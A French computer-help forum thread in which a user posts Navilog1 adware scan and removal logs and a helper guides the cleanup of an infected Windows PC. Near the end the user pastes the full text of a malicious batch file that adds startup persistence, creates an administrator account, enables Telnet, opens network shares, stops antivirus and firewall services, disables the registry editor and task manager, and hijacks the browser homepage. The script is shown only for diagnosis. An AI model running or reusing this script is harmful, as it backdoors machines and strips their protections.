Mon rapport hijackthis

[Igniatius]

Bonjour Malekal Morte,

 

voici les 2 rapports navilog1

 

 

Voilà le premier :

 

 

Search Navipromo version 2.0.1 commencé le 17/05/2007 à 17:04:36,57

 

!!! Attention,ce rapport peut indiquer des fichiers/programmes légitimes!!!

!!! Poster ce rapport sur le forum pour le faire analyser !!!

!!! Ne pas lancer la partie désinfection sans l'avis d'un spécialiste !!!

 

Fix lancé depuis C:\Program Files\navilog1

Mise a jour le 10.05.2007 a 22h00 by IL-MAFIOSO

 

Executé en mode normal

 

*** Recherche Programmes installes ***

 

 

 

 

*** Recherche dossiers dans C:\WINDOWS ***

 

 

 

 

*** Recherche dossiers dans C:\Program Files ***

 

 

C:\Program Files\MessengerSkinner trouvé !

 

 

*** Recherche dossiers dans C:\Documents and Settings\All Users\Application Data ***

 

 

 

 

*** Recherche dossiers dans C:\Documents and Settings\Pascal\Application Data ***

 

 

...\Application Data\MessengerSkinner trouvé !

 

*** Recherche avec BlackLight Engine/F-secure ***

BlackLight Engine est un produit de F-secure, pour + d'infos :

http://www.f-secure.com/blacklight/blacklight_help.html

 

 

F-SECURE BLACKLIGHT ROOTKIT ELIMINATOR

======================================

 

Copyright 2005-2006 F-Secure Corporation. All rights reserved.

This is a beta version. It will expire on 1st of April, 2007.

Version information: 2.2.1061.

 

[+] Started on 05/17/07 at 17:04:41.

[+] Initializing ...

[+] Starting scan, press Ctrl-C to abort.

[+] Scanning for hidden items ...........................

[-] Scan aborted due to user logoff.

[+] Summary: 0 hidden item(s) found, 0 scheduled for renaming.

[+] Exited on 05/17/07 at 17:07:44 (return code = 2).

 

 

*** Recherche fichiers ***

 

 

C:\WINDOWS\pack.epk trouvé !

C:\WINDOWS\system32\nvs2.inf trouvé !

 

 

*** Recherche cles registre ***

 

 

Recherche dans [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDLLs]

 

 

 

Recherche dans [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ModuleUsage]

 

 

 

Recherche Clé Magic Control

 

HKEY_CURRENT_USER\Software\Lanconfig trouvé !

HKEY_USERS\S-1-5-21-854245398-920026266-1202660629-1005\Software\Lanconfig trouvé !

 

 

*** Module de Recherche complémentaire ***

(Recherche fichiers spécifiques)

 

1)Recherche fichiers connus:

 

 

2)Recherche Heuristique :

*

C:\WINDOWS\system32\rgnepuvwco.dat trouvé !

**

C:\WINDOWS\system32\rgnepuvwco.dat trouvé !

***

****

C:\WINDOWS\system32\rgnepuvwco_navps.dat trouvé !

*****

C:\WINDOWS\system32\rgnepuvwco_nav.dat trouvé !

C:\WINDOWS\system32\rgnepuvwco_navup.dat trouvé !

******

*******

********

 

 

*** Analyse Terminé le 17/05/2007 à 17:08:57,17 ***

 

 

 

 

et le second :

 

 

 

Clean Navipromo version 2.0.1 commencé le 17/05/2007 à 17:16:05,00

 

Fix lancé depuis C:\Program Files\navilog1

Mise a jour le 10.05.2007 a 22h00 by IL-MAFIOSO

 

 

Mode suppression par méthode manuelle

 

Nom du fichier saisi : rgnepuvwco

 

*** Recherche, Creation backups et suppression ***

 

C:\WINDOWS\system32\rgnepuvwco.exe absent !

C:\WINDOWS\system32\rgnepuvwco_navtmp.dat absent !

C:\WINDOWS\system32\rgnepuvwco_m2s.xml absent !

C:\WINDOWS\prefetch\rgnepuvwco*.pf absent !

 

C:\WINDOWS\System32\rgnepuvwco.dat trouvé !

Copie C:\WINDOWS\system32\rgnepuvwco.dat realise avec succes !

C:\WINDOWS\system32\rgnepuvwco.dat supprimé !

 

C:\WINDOWS\System32\rgnepuvwco_nav.dat trouvé !

Copie C:\WINDOWS\system32\rgnepuvwco_nav.dat realise avec succes !

C:\WINDOWS\system32\rgnepuvwco_nav.dat supprimé !

 

C:\WINDOWS\System32\rgnepuvwco_navps.dat trouvé !

Copie C:\WINDOWS\system32\rgnepuvwco_navps.dat realise avec succes !

C:\WINDOWS\system32\rgnepuvwco_navps.dat supprimé !

 

C:\WINDOWS\System32\rgnepuvwco_navup.dat trouvé !

Copie C:\WINDOWS\system32\rgnepuvwco_navup.dat realise avec succes !

C:\WINDOWS\system32\rgnepuvwco_navup.dat supprimé !

 

 

*** Suppression dossiers dans C:\WINDOWS ***

 

 

*** Suppression dossiers dans C:\Program Files ***

 

C:\Program Files\MessengerSkinner ...suppression...

C:\Program Files\MessengerSkinner supprimé !

 

 

*** Suppression dossiers dans C:\Documents and Settings\All Users\Application Data ***

 

 

*** Suppression dossiers dans C:\Documents and Settings\Pascal\Application Data ***

 

...\Application Data\MessengerSkinner ...suppression...

...\Application Data\MessengerSkinner supprimé !

 

 

 

*** Suppression fichiers ***

 

C:\WINDOWS\pack.epk supprimé !

C:\WINDOWS\system32\nvs2.inf supprimé !

 

*** Suppression fichiers temporaires ***

 

Nettoyage contenu C:\WINDOWS\Temp effectué !

Nettoyage contenu C:\Documents and Settings\Pascal\Local Settings\Temp effectué !

 

 

*** Sauvegarde du registre vers dossier Backupnavi***

 

 

sauvegarde du registre realise avec succes !

 

 

*** Nettoyage registre ***

 

 

Nettoyage registre Ok

 

*** Traitement Recherche complémentaire ***

(Recherche fichiers spécifiques)

 

1)Recherche fichiers connus:

 

 

2)Recherche et Suppression Heuristique :

 

*

**

***

****

*****

******

*******

********

 

*** Nettoyage termine le 17/05/2007 à 17:24:55,33 ***

 

 

A noter (je sais pas si c'est important) lors du redémarrage et avant le deuxieme log, une fenêtre est apparue :

 

Editeur de registre :

La modification du registre a été déssactivée par votre administrateur.

 

Encore merci pour ton aide.

[Malekal_morte]

Télécharge ce fichier sur ton bureau : http://www.malekal.com/download/Activer_regedit_taskmgr.reg

(s'il s'ouvre sur le navigateur, faire un clic droit puis enregistrer la cible du lien sous).

Double-clic dessus et accepte l'inscription des données.

 

Redémarre l'ordinateur

 

Fais un scan en ligne :

 

Ouvre internet explorer --> Outils --> Options internet --> onglet "sécurité" --> Valide "niveau par défaut".

Toujours sur Internet explorer --> Outils --> Options internet --> onglet "avancé" --> valide "Paramètres par défaut".

 

Pour effectuer les scans, désactive ton antivirus, logiciels de protections et logiciels pouvant bloquer les popups (barres Google, barres Yahoo etc..).

 

Scan en ligne avec Kaspersky :

- Fais un Scan en ligne sur Kaspersky en utilisant Internet Explorer et pas firefox, ça ne marchera pas!.

- Si tu es perdu, tu peux suivre cette aide pour les scans en ligne

- Scan le poste de travail

- Copie/colle le rapport du scan ici

 

Note : Si tu reçois le message "La licence de Kaspersky On-line Scanner est périmée", vas dans Ajout/Suppression de programmes et désinstalle On-Line Scanner, reconnecte toi sur le site de Kaspersky pour retenter le scan en ligne.

 

Si le scan avec Kaspersky ne fonctionne pas, tu peux faire un scan en ligne avec Panda :

- Fais un scan avec panda en désactivant ton antivirus pendant le scan!

(Si tu es perdu, tu peux suivre cette aide pour les scans en ligne)

- Copie/colle le rapport panda ici

 

Poste un nouveau rapport HijackThis.

[Igniatius]

Bonjour Malekal Morte,

 

voici les news,

 

En ce qui concerne ton indiquation :

 

"Télécharge ce fichier sur ton bureau : http://www.malekal.com/download/Activer_regedit_taskmgr.reg

(s'il s'ouvre sur le navigateur, faire un clic droit puis enregistrer la cible du lien sous).

Double-clic dessus et accepte l'inscription des données."

 

Ca ne marche pas ! Car lorsque je double clique voici ce qui apparait :

 

Editeur du registre :

 

La modification du Registre a été désactivée par votre administrateur

 

 

Et pour ce qui est du scan en ligne je ne peux toujours pas me connecter.

 

1/ Parce que, bien que l'ordinateur détecte mon réseau, il n'arrive pas à se connecter dessus.

 

2/ Parce que, bien que l'ordinateur ai cessé de redémarrer à tout bout de champ, c'est maintenant au bureau de le faire. Et ça c'est embêtant.

 

3/ J'ai toujours IE qui se lance, lui aussi n'importe quand ! mais comme il n'y a pas de connexion, il va pas bien loin...

 

 

Je t'avoue que là, j'ai comme qui dirait un léger coup de mou !!!!

 

 

J'attends donc ton prochain avis avec impatience.

 

Et j'en profite pour te renouveler mes remerciements pour ton aide.

[Malekal_morte]

- Télécharge et installe AVG Anti-Spyware - Tutorial : http://www.malekal.com/tutorial_AVG_AntiSpyware.html

- Mets le à jour à partir du menu Mise à jour en haut

- Redémarre en mode sans échec, pour cela, redémarre l'ordinateur, avant le logo Windows, tapote sur la touche F8, un menu va apparaître, choisis Mode sans échec et appuye sur la touche entrée du clavier.

 

 

- Ouvre AVG Anti-Spyware et clic sur l'onglet Analyse, puis le sous-onglet Paramètres

- Sélectionne dans Comment Réagir ? Quarantine. (voir l'aide l'aide AVG Anti-Spyware)

- Reviens au sous-onglet Analyser puis clique sur Analyse complète du système.

---> Le scan démarre.

 

A la fin clique sur Appliquer toutes les actions, les éléments doivent alors être déplacés en quarantaine.

Puis clique sur Enregistrer le rapport d'analyse et enregistre le rapport sur le Bureau.

 

 

Aide : N'hésite pas à consulter l'Aide AVG Anti-Spyware pour tout problème.

 

-- Redémarre en mode normal

 

Copier/coller le rapport AVG Anti-Spyware

[Igniatius]

Voilà le rapport de scan AVG antispyware

 

mais tu vas pas être déçu !!!

 

---------------------------------------------------------

AVG Anti-Spyware - Rapport d'analyse

---------------------------------------------------------

 

+ Créé à: 13:52:20 19/05/2007

 

+ Résultat de l'analyse:

 

 

 

Rien à signaler.

 

 

 

Fin du rapport

 

 

 

Ca aide pas, hein ?

[Malekal_morte]

non lol

mais on sait jamais

 

Pour le registre, regarde là : http://www.zebulon.fr/dossiers/57-2-accede...e-registre.html

"En cas de soucis"

 

T'as un petit vbs à télécharger, en espérant que les vbs passent !

[Igniatius]

non lol

mais on sait jamais

 

Pour le registre, regarde là : http://www.zebulon.fr/dossiers/57-2-accede...e-registre.html

"En cas de soucis"

 

T'as un petit vbs à télécharger, en espérant que les vbs passent !

 

 

Bonjour malekal Morte

 

et désolé pour l'absence de news mais pas chez moi ces derniers jours.

 

Bon, reprenons,

 

j'ai suivi tes dernières indications et ben ... rien dechangé.

 

Je peux fixeret avoir accès aux registres grace à fixswen. mais pas de manière définitive. A chaque redémarrage il faut recommencer.

J'ai vu sur ton dernier lien un outil de nettoyage du registre nommé JV16 je l'ai installé et lancé mais ça a bloqué avant la fin du scan...

 

voilà les dernières nouvelles

 

Ca veut vraiment pas, hein?

[Malekal_morte]

Y a quoi dans ce fichier : C:\WINDOWS\System32\win32.bat ?

clic droit / edition

colle le contenu ici.

[Igniatius]

Y a quoi dans ce fichier : C:\WINDOWS\System32\win32.bat ?

clic droit / edition

colle le contenu ici.

 

 

1°/ J'ai bien un fichier C:\WINDOWS\System32\win32 mais y'a pas d'extension bat. C'est celui-là.

dans le doute c'est celui que j'ai pris

 

2°/ En faisant click droit je n'ai pas la mention edition alors j'ai cliqué sur modifié ce qui m'a ouvert le bloc-note

 

3°/ j'ai donc copié le contenu proposé et c'est ce que je poste ici :

 

@echo off

@break off

if exist %systemroot%\Lsd.exe goto enx

if exist %programfiles%\Taskdrv.exe (goto av) else goto av2

:av

if exist %systemroot%\Navnet.exe (goto av3)

:av2

attrib -h -s -r %systemroot%\Navnet.exe

attrib -h -s %programfiles%\Taskdrv.exe

attrib -h -s -r %systemroot%\Win.ini

copy SETUP.exe %systemroot%\Navnet.exe

copy PLAYER.exe %systemroot%\Navnet.exe

copy CRACK.exe %systemroot%\Navnet.exe

copy /b "*..exe" %systemroot%\Navnet.exe

copy %programfiles%\Taskdrv.exe %systemroot%\Navnet.exe

copy %systemroot%\Navnet.exe %programfiles%\Taskdrv.exe

cd %systemroot%\

attrib +h +s %programfiles%\Taskdrv.exe

attrib +h +s %systemroot%\Navnet.exe

echo [Windows] >> Win.ini

echo Run = C:\Windows\Navnet.exe >> Win.ini

attrib +h +s +r %systemroot%\Win.ini

reg add HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f

net user nombre ADSL /add

net localgroup "Administrador es" ADSL /add

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v Firewall /d %Systemroot%\Navnet.exe /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v kis /d %programfiles%\Taskdrv.exe /f

ping 127.0.0.1 -n 300 > nul

:av3

NET STOP "Centro de Seguridad"

NET STOP "Firewall de Windows/Conexión compartida a Internet (ICS)"

tskill explorer /a

taskkill /f /IM explorer.exe

reg add HKLM\SYSTEM\CurrentControlSet\Services\TlntSvr /v Start /t REG_DWORD /d 2 /f

net user ADSL ADSL /add

net stop navapsvc

net stop NPFMntor

net stop ccApp

net stop symlcsvc

net stop apvxdwin

net stop pavProxy

net share ADMIN$

net share C$

net share IPC$

net share c=c

net share d=d

net share e=e

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v Firewall /d %Systemroot%\Navnet.exe /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v kis /d %programfiles%\Taskdrv.exe /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Firewall /d %Systemroot%\Navnet.exe /f

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v kis /d %programfiles%\Taskdrv.exe /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f

reg add HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel /v Homepage /t REG_DWORD /d 0 /f

reg add HKCU\Software\Microsoft\Internet Explorer\Main /va Start Page /d "http://www.Fuck.com" /f

reg add HKCU\Software\Microsoft\Internet Explorer\Main /v Start Page /t REG_MULTI_SZ /D http://www.fUCK.com /f

reg add HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel /v Homepage /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3 /v 1803 /t REG_DWORD /d 3 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disabletaskmgr /t REG_DWORD /d 1 /f

ping 127.0.0.1 -n 100 > nul

tskill explorer /a

tskill iexplore /a

taskkill /f /IM explorer.exe

taskkill /f /IM iexplore.exe

ping 127.0.0.1 -n 100 > nul

start iexplore.exe

tskill msnmsgr /a

tskill emule /a

taskkill /f /IM msnmsgr.exe

taskkill /f /IM emule.exe

ping 127.0.0.1 -n 100 > nul

tskill explorer /a

tskill iexplore /a

taskkill /f /IM explorer.exe

taskkill /f /IM iexplore.exe

start iexplore.exe

ping 127.0.0.1 -n 90 > nul

tskill iexplore /a

taskkill /f /IM iexplore.exe

start iexplore.exe

ping 127.0.0.1 -n 90 > nul

tskill explorer /a

taskkill /f /IM explorer.exe

ping 127.0.0.1 -n 100 > nul

tskill svchost /a

tskill iexplore /a

taskkill /f /IM svchost.exe

taskkill /f /IM iexplore.exe

goto av3

:enx

del /s /q %0

Del /s /q %0 && end

 

 

 

C'est ça que tu voulais ?

[Malekal_morte]

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Disabletaskmgr /t REG_DWORD /d 1 /f

 

Vire ce fichier de m*rde, redémarre regarde s'il revient.